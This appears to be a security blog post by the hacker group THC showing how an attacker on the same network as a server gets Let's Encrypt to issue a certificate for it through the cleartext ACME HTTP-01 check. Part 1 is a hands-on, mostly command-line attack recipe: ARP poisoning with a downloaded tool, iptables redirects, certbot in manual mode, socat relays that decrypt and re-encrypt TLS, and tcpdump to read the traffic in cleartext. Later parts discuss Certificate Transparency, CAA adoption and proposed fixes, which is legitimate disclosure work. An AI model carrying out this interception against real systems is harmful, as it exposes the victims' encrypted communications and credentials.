TL;DR: An attacker can trick Let's Encrypt (LE) to issue new TLS certificates for any domain that the attacker intercepts traffic for. The attacker can then decrypt the TLS traffic. This one thing that TLS is supposed to prevent from happening. The fault is that LE uses cleartext HTTP to verify the ACME-challenge (which the attacker can intercept).

This is a hands-on article, that is split into 3 parts:

1. A practical guide to trick Let’s-Encrypt (LE) to issue a valid TLS certificate for a domain name (CN) that we do not own. Without access to the server.

2. Historical background and why Certificate Transparency and CAA has largely failed.

3. Ideas of how this loophole can be closed. Let’s make TLS secure again. COMMENT ON IT.

---

THC has a love-hate-relationship with SSL/TLS. We ran the first SSL encrypted IRC Network in 2001 (IRCSnet). Six years later, in 2005, one of our members wrote the first SSL-stripping attack (SSLut). In 2011, we released THC-SSL-DOS, a PoC for a resource exhaustion attack. We joined the IETF TLS Working Group in 2013. We hoped to retire….

---

PART 1 - PRACTICAL TLS INTERCEPTION

This attack is not new. It has been exploited for over a decade and first publicly detected in 2022 and rose to fame in 2023. This loophole exists as per RFC 8555.

Most (all?) Certificate Authorities (CA) that use ACME are vulnerable. We use Let’s-Encrypt (LE) and HTTPS as an example only. The attack works equally well against IMAPS and other protocols.

LE’s achilles heel is that it can be tricked to uses a HTTP/cleartext request to the target’s web server (port 80) to authorise the issuance of a new TLS Certificate (ACM-HTTP-01).

Refresher 101: How does ACME/cert-renewal work?

1. The admin uses certbot (a client software) to ask LE for a new certificate for his domain (target.thc.org).

2. LE asks the admin to put a “challenge” (a hex string) into a specific file on the web server at http://target.thc.org/.well-known/acme-challenge/<FILENAME>.

3. LE then uses a (cleartext) HTTP-request to check if this file exists and if it contains the same “challenge”. This validates to LE that the admin has sufficient control over the web server (e.g. can create files under his domain name).

4. Certbot then receives the new certificate from LE.

Prerequisite is that the attacker has access to the network traffic that flows to and from the target. (No surprise here). There are many ways to achieve this. The easiest is to hack a server (bounce) that is within the same subnet as the target (target.thc.org) [others: 2022 KlaySwap attack, 2023 Hetzner].

Overview (Resemblance to real-world IP + MAC addresses are coincidental 😘)

NAME        | IP                      | MAC ADDRESS
router      | 156.229.232.1           | 40:71:cc:cc:00:01
bounce      | 156.229.232.111         | 00:16:66:66:01:11
target      | 156.229.232.158         | 00:16:aa:aa:01:58

All the following steps are executed on bounce.

Step 1: Instruct the router (156.229.232.1) to send any traffic for target.thc.org (156.229.232.158) to bounce (156.229.232.111) instead, using good old arp-poisoning:

# on BOUNCE:
echo 1 >/proc/sys/net/ipv4/ip_forward
echo 0 | tee /proc/sys/net/ipv4/conf/*/send_redirects
iptables -t mangle -A PREROUTING -j TTL --ttl-inc 1
iptables -I FORWARD -d 156.229.232.158 -j ACCEPT

curl -o arpmitm -SsfL https://github.com/hackerschoice/thc-arpmitm/raw/refs/heads/master/releases/thc-arpmitm_static-binary_x86_64-pc-linux-gnu
chmod 755 arpmitm
./arpmitm -i eth0 -A 00:16:66:66:01:11 156.229.232.1:40:71:cc:cc:00:01 156.229.232.158

Step 2: Start a shitty simple HTTP server

mkdir -p /tmp/.foo/.well-known/acme-challenge
cd /tmp/.foo
python3 -m http.server 8066

Step 3: Request a new certificate for target.thc.org (DO NOT PRESS ENTER WHEN PROMPTED):

certbot certonly -d target.thc.org --manual --preferred-challenges http --register-unsafely-without-email --agree-tos

The output looks similar to this (DO NOT PRESS ENTER YET):

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Create a file containing just this data:

LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8._giAhQ21nmlgMx99gnV4Q1kMs4KRqmZbJwoBV2U9u4U

And make it available on your web server at this URL:

http://target.thc.org/.well-known/acme-challenge/LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
####### STOP HERE ---> DO NOT PRESS ENTER YET #########

(The clever use may execute CertBot on a different host and use less interruptive iptable rules below.)

Step 4: Save the ACME challenge on the simple HTTP server:

# Change these values with the values from above:
echo LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8._giAhQ21nmlgMx99gnV4Q1kMs4KRqmZbJwoBV2U9u4U >/tmp/.foo/.well-known/acme-challenge/LiZx2swbcBlcdlpqmeuQOyDLQE_uUEt3mUNmMUMNZQ8

The Step 5-7 should be executed with haste so that there is limited interruption to the normal web traffic.

Step 5: Redirect the LE request to OUR simple HTTP server on port 8066:

iptables -t nat -I PREROUTING -p tcp -d 156.229.232.158 --dport 80 -j REDIRECT --to-port 8066
# LE verifies this challenge from 5 different locations. The clever user may only want to
# redirect these source locations:
# 23.178.112.106, 16.16.194.127, 3.142.152.154, 35.86.146.250, 18.141.24.36

Step 6: PRESS ENTER for CertBot to continue (from Step 3). Delete the iptable rules immediately after CertBot has finished and also kill the simple HTTP server from Step 2:

iptables -t nat -D PREROUTING 1

A valid TLS certificate for target.thc.org is now stored in /etc/letsencrypt/live/target.thc.org/ on bounce.

Living-off-the-land: Use socat to decrypt and re-encrypt the TLS traffic and then forward the traffic to target.thc.org.

1. The first socat receives the TLS encrypted traffic for target.thc.org on port 1443 (via iptables redirect from 443 → 1443). It decrypts the data and forwards the cleartext data to port 43 on localhost 127.0.6.6.

2. The second socat receives the cleartext data on port 43 and re-encrypts it again to then forward the encrypted data to target.thc.org:443.

Step 7: Start two socat processes.

cd /etc/letsencrypt/live/target.thc.org
# First socat to convert 443 to cleartext 43
OPTSSL="cert=fullchain1.pem,key=privkey1.pem,verify=0,fork,reuseaddr,keepalive,keepidle=30,keepintvl=5,keepcnt=4"
(socat -T300 openssl-listen:1443,"${OPTSSL:?}" TCP:127.0.6.6:43 &>/dev/null &)
# Second socat to forward 43 to target.thc.org:443
(socat TCP-LISTEN:43,fork,reuseaddr OPENSSL:156.229.232.158:443,verify=0 &>/dev/null &)

Step 8: Redirect port 443 traffic to port 1443 on localhost (to socat):

iptables -t nat -A PREROUTING -p tcp -i eth0 -d 156.229.232.158 --dport 443 --to-port 1443

Step 9: The TLS traffic for target.thc.org:443 can be read as CLEARTEXT on localhost (127.0.6.6):

tcpdump -np -i lo -Aq 'dst host 127.0.6.6 and (ip[2:2] > 60)'

---

PART 2 - A HISTORY and how Certificate Transparency has failed

This attack works because the Certificate Authority (like Lets Encrypt) uses a non-authenticated protocol to authorise the issuances of certificates for an authenticated protocol. This is lame.

Thirty years ago, almost all traffic on the Internet was cleartext. However, it was rather complicated to read cleartext traffic. No network card supported the promiscuous mode. The tools to “read” even cleartext network traffic were in their infancy.

I had to dig deep and read kernel source and patch drivers (hello 3Com) to “sniff” network traffic. It was a real effort and those tricks were traded like gold in the community (patches for kernels and undocumented ioctl calls just to make tcpdump work).

Thirty years later and the attacks are outperforming the defence. This attack is not hard.

Homework for the curious researcher:

1. Check how many S&P500 companies are actually using CAA tags on their DNS records. I start:

   1. dig x.com CAA 💩

2. Certificates are renewed at precise intervals. Often thirty days before their expiration date. Be astounded how often LE issues certificates that don’t fall within this “periodical renewal cycle” - we don’t know why or to whom these certificates are issued.

3. I like to see more meta-data in the Certificate Transparency (be more t-r-a-n-s-p-a-r-e-n-t 🤷‍♂️). I like to see the source-IP of who requested the new certificate, the user-agent, the precise time, the acme-challenge, .… and query the CT database accordingly.

---

PART 3 - HOW TO FIX THIS CRAP

STFU:

1. Making it harder to re-direct traffic is not a solution. The threat model is based around the assumption that data can and will be re-directed.

2. We won’t fix the problem by hoping that the admin will sign up for certspotters. Most admins won’t. We must make this secure by default, without any additional hassle or effort for the admin.

3. We won’t fix this by praying that all admins will start using Certification Authority Authorization (CAA) tags in their DNS records. ACME-DNS-01 is not the solution for the masses. Ten years ago this all sounded very promising but adoption is very low. And it won’t solve the problem completely. It is academics in La-la Land: Reality is that very few of the S&P500 companies are using CAA tags.

4. RFC-8555 allows for “cleartext authentication by HTTP”. It’s wrong. It’s a loophole. It’s time to abandon this for the same reason that we have abandoned RFC-854 (telnet) and so many others.

5. LE verifying the challenge from additional geographical locations won’t solve the problem (because the attack happens to near to the target).

IDEAS:

1. The browser shall check if CAA is used or otherwise warn the user. As well as checking if CAA has been violated (e.g. the certificate is signed by a different CA than the one advertised via the CAA record). We don’t need DNSSEC to get started on this.

2. The CA (Let’s Encrypt et.al) can do better:

   1. Disable “cleartext auth“ (ACME-HTTP-01).

   2. Encourage the admin to use CAA by making it harder to get a certificate without CAA DNS records: Delay, shame & troll.

   3. Only allow automated cert-renewal if the requestor can proof that they have access to the current key (add a mode=strict DNS record? +sign the challenge-response with the current key).

3. The CA should alert/email the domain owner each time a certificate is renewed. Including all meta-data (source IP, user agent, … ).

I’m grateful for Let’s Encrypt. HTTPS is now widely deployed because of LE. They have made the Internet a safer place. I’ve great hope that their clever engineers will solve the issues above with elegance and ease.

I love you.

---

Join us: https://thc.org/ops
BlueSky: @hackerschoice.bsky.social
Mastodon: @thc@infosec.exchange

---

Shoutz to Matthew, Pierre-Philipp, messede and joernchen.